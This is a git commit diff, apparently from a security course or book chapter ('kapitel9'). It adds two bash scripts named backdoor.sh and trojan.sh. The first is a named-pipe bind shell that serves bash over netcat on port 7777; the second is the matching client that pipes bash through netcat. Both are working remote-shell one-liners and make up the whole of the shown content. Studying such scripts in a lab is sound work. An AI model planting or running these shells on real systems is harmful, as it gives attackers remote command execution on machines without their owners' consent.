Inital commit

This commit is contained in:
2023-04-12 00:25:33 +02:00
commit f1f0b29fb6
6 changed files with 81 additions and 0 deletions

5
kapitel9/backdoor.sh Normal file
View File

@@ -0,0 +1,5 @@
#!/bin/bash
mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \
&& rm /tmp/f

4
kapitel9/trojan.sh Normal file
View File

@@ -0,0 +1,4 @@
#!/bin/bash
mkfifo /tmp/f
/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f